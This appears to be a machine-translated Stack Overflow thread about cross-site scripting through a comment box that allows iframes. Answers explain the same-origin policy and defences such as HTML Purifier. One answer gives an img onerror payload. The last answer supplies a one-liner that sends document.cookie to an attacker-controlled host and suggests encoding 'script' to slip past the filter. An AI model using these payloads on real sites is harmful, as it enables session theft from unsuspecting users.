2011-11-28 68 views
7

我正在嘗試使用跨站腳本編寫腳本。我有一個網站,允許用戶插入評論並在網站上查看。該網站雖然從評論過濾了字符串「腳本」,但它允許iframe。我知道我可以嵌入一個iframe,指向我製作的網站,並且可以運行我希望的任何腳本。我的問題是:我的iframe腳本能夠讀取原始網站發起的Cookie嗎?我試過alert(document.cookie),但是它沒有任何提示。當客戶請求時,原始網站總是設置一個cookie。任何想法我失蹤?使用Iframe的跨站腳本編程

+1

要從訪問父頁面iframe(兩個頁面在同一個doimain上),使用'父'對象,例如'parent.document.cookie' –

回答

9

無論周圍的頁面需要來自同一個域。這受到同源策略的限制,該策略聲明一個幀中的腳本只能訪問另一個幀中的數據,因爲它們使用相同的協議,具有完全相同的域名並且在相同的端口上運行。通過在兩個框架中將document.domain設置爲頂級域,可以輕鬆地放鬆,從而允許子域的框架進行通信。

雖然可以嘗試輸入,但可能會在較新的瀏覽器中被阻止。

限制腳本不足以阻止XSS。還有很多其他的方法。請參閱http://html5sec.orghttp://ha.ckers.org/xss.html

+0

如果我理解正確,那是設置document.domain的子iframe的問題,不是嗎? *(因爲在父文檔中執行它會返回網絡錯誤)* – user2284570

0

據我所知,iframe無法訪問原始網站,如果iframe的域名和原網站的域名不同,但有other problems。 (例如裂化裝置評論<img src="asdf" onerror="alert(document.cookie)"/>

您可能需要使用像出頭.... HTML Purifier

1

Cookie遵循相同的來源策略。因此,如果攻擊網站和受害者網站(允許打開iframe)擁有相同的主機,那麼在運行document.cookie的彈出窗口將會卡住cookie信息。 因爲在你的情況下,他們似乎是差異域名cookie竊取將不可能。 爲了防止XSS更好的方法是使用核心jstl庫的C:out標籤

3

你聽起來像你試圖使用cookie作爲XSS的有效載荷?

你實際上是在試圖竊取cookie嗎?

但是,如果該網站允許您插入評論並僅刪除「腳本」,那麼您有一堆插入XSS的替代品,包括coookie偷竊腳本。

試試這個

javascript:img=new Image();img.src="http://yoursite.com?cookie="+document.cookie; 

,但你要編碼字的腳本,所以你可以代替你可以嘗試

腳本

或Unicode 73 63 72 69 70 74